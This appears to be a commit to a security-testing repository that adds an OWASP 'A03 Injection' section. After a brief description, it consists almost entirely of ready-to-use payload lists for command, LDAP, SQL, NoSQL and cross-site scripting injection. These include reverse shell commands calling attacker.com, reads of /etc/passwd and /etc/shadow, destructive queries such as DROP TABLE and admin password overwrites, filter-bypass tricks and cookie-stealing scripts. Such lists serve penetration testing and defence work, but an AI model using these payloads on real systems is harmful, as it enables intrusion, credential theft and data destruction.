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Add comprehensive OWASP Top 10 directory structure with injection payloads
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
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# A03 - Injection
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## Description
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Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
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## Common Injection Types
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- SQL Injection
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- Cross-Site Scripting (XSS)
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- Command Injection
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- LDAP Injection
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- XML Injection
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- Template Injection
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## Testing Approach
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Submit malicious input containing special characters and observe application behavior, error messages, and response times.
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# Command Injection Payloads
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# Basic command injection
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; ls
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| ls
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|| ls
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& ls
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&& ls
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`ls`
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$(ls)
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# Chained commands
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; whoami
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| whoami
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|| whoami
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& whoami
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&& whoami
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# Command substitution
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`whoami`
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$(whoami)
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;`whoami`
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;$(whoami)
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# File operations
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; cat /etc/passwd
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| cat /etc/passwd
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; cat /etc/shadow
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| cat /etc/shadow
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; ls -la
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| ls -la /
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# Windows commands
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& dir
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| dir
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& type C:\Windows\win.ini
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| type C:\boot.ini
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& whoami
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| net user
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# Time-based detection
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; sleep 5
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| sleep 5
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& ping -n 5 127.0.0.1
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| ping -c 5 127.0.0.1
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; timeout 5
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& timeout /t 5
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# Output redirection
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; ls > /tmp/output.txt
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| ls > /tmp/output.txt
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& dir > C:\temp\output.txt
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# URL encoded
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%3B%20ls
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%7C%20ls
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%26%20whoami
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# Newline injection
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%0a whoami
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%0d%0a whoami
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\n whoami
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\r\n whoami
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# Spaces bypass
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;cat</etc/passwd
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|cat</etc/passwd
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{cat,/etc/passwd}
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cat${IFS}/etc/passwd
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cat$IFS/etc/passwd
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# Quotes bypass
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c'a't /etc/passwd
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c"a"t /etc/passwd
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c\at /etc/passwd
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# Reverse shell payloads (for testing only)
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; nc -e /bin/sh attacker.com 4444
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| bash -i >& /dev/tcp/attacker.com/4444 0>&1
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& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);"
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# LDAP Injection Payloads
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# Basic LDAP injection
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*
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*(uid=*)
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*(cn=*)
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*(objectClass=*)
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# Authentication bypass
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*)(uid=*))(|(uid=*
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*)(|(uid=*))
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*)(cn=admin)(|(cn=*
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admin)(&(uid=*))
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# Filter bypass
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*)(objectClass=*))(&(objectClass=*
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*)(|(password=*))
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*)(cn=*)(|(cn=*
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# Blind LDAP injection
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*)(cn=a*
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*)(cn=ad*
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*)(cn=adm*
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*)(cn=admin*
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# Boolean-based
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(&(uid=admin)(password=*))
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(&(uid=admin)(!(password=wrong)))
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(|(uid=admin)(uid=administrator))
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# Wildcard usage
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uid=*
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cn=*
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sn=*
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mail=*
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# Attribute extraction
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*)(objectClass=*))(%26(objectClass=*
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*)(uid=*))(%26(uid=*
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# SQL Injection Payloads
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# Basic SQL injection
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'
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''
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' OR '1'='1
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' OR 1=1--
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' OR 'a'='a
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" OR "1"="1
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" OR 1=1--
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admin' --
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admin' #
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admin'/*
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' OR '1'='1' --
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' OR '1'='1' #
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' OR '1'='1'/*
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# Union-based SQL injection
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' UNION SELECT NULL--
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' UNION SELECT NULL,NULL--
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' UNION SELECT NULL,NULL,NULL--
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' UNION ALL SELECT NULL--
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' UNION ALL SELECT NULL,NULL--
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' UNION SELECT 1,2,3--
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' UNION ALL SELECT 1,2,3--
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# Error-based SQL injection
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' AND 1=CONVERT(int,(SELECT @@version))--
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' AND 1=CAST((SELECT @@version) AS int)--
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' AND EXTRACTVALUE(1,CONCAT(0x5c,@@version))--
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' AND 1=UPDATEXML(1,CONCAT(0x5e24,(SELECT @@version),0x5e24),1)--
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# Boolean-based blind SQL injection
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' AND 1=1--
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' AND 1=2--
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' AND SUBSTRING(@@version,1,1)='5'--
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' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100--
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# Time-based blind SQL injection
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'; WAITFOR DELAY '0:0:5'--
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'; SELECT SLEEP(5)--
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'; SELECT pg_sleep(5)--
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' AND SLEEP(5)--
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' AND 1=BENCHMARK(5000000,MD5('test'))--
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# Stacked queries
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'; DROP TABLE users--
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'; DELETE FROM users WHERE 1=1--
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'; INSERT INTO users VALUES ('hacker','pass')--
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'; UPDATE users SET password='hacked' WHERE username='admin'--
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# Comment injection
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--
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-- -
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#
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/**/
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/*!50000*/
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# Database-specific payloads
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# MySQL
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' AND 'x'='x
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' AND SLEEP(5) AND 'x'='x
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' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL#
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# PostgreSQL
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' AND 'x'='x
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'; SELECT pg_sleep(5)--
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# MSSQL
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' AND 'x'='x
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'; WAITFOR DELAY '00:00:05'--
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# Oracle
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' AND 'x'='x
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' AND 1=dbms_pipe.receive_message('a',5)--
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# SQLite
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' AND 'x'='x
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' AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(5/2))))--
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# NoSQL injection
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{"$gt": ""}
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{"$ne": null}
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{"$where": "sleep(5000)"}
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' || '1'=='1
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admin' || 'a'=='a
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# XSS (Cross-Site Scripting) Payloads
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# Basic XSS
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<script>alert('XSS')</script>
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<script>alert(1)</script>
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<script>alert(document.cookie)</script>
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<script>alert(document.domain)</script>
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<script>alert(window.origin)</script>
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# IMG tag XSS
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<img src=x onerror=alert('XSS')>
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<img src=x onerror=alert(1)>
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<img src=javascript:alert('XSS')>
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<img src="x" onerror="alert(String.fromCharCode(88,83,83))">
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<img/src="x"/onerror=alert(1)>
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# SVG XSS
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<svg/onload=alert('XSS')>
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<svg onload=alert(1)>
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<svg><script>alert('XSS')</script></svg>
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<svg><animate onbegin=alert(1) attributeName=x dur=1s>
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# Body tag XSS
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<body onload=alert('XSS')>
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<body onpageshow=alert(1)>
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<body onfocus=alert(1)>
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# Input tag XSS
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<input onfocus=alert(1) autofocus>
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<input onblur=alert(1) autofocus><input autofocus>
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<input/onfocus=alert(1)/autofocus>
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# Event handler XSS
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<div onmouseover=alert(1)>test</div>
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<button onclick=alert(1)>click</button>
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<a href="#" onmouseover=alert(1)>link</a>
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# Encoded XSS
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<script>alert('XSS')</script>
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\x3cscript\x3ealert('XSS')\x3c/script\x3e
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<script>alert(String.fromCharCode(88,83,83))</script>
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\u003cscript\u003ealert('XSS')\u003c/script\u003e
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# JavaScript protocol
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<a href="javascript:alert('XSS')">click</a>
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<iframe src="javascript:alert('XSS')">
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<object data="javascript:alert('XSS')">
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# DOM-based XSS
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<script>document.write('<img src=x onerror=alert(1)>')</script>
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<script>eval(location.hash.substr(1))</script>
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<script>document.location=document.cookie</script>
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# Filter bypass
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<scr<script>ipt>alert(1)</scr</script>ipt>
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<ScRiPt>alert(1)</sCrIpT>
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<script>alert(1)<!--
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<script>alert(1)//
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<script>/**/alert(1)</script>
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<script>al\u0065rt(1)</script>
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<svg><script>alert(1)</script>
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# Polyglot XSS
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javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
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jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
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# Attribute-based XSS
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"><script>alert(1)</script>
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'><script>alert(1)</script>
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"><img src=x onerror=alert(1)>
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'><img src=x onerror=alert(1)>
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# Template injection XSS
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{{alert(1)}}
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${alert(1)}
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<%= alert(1) %>
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{alert(1)}
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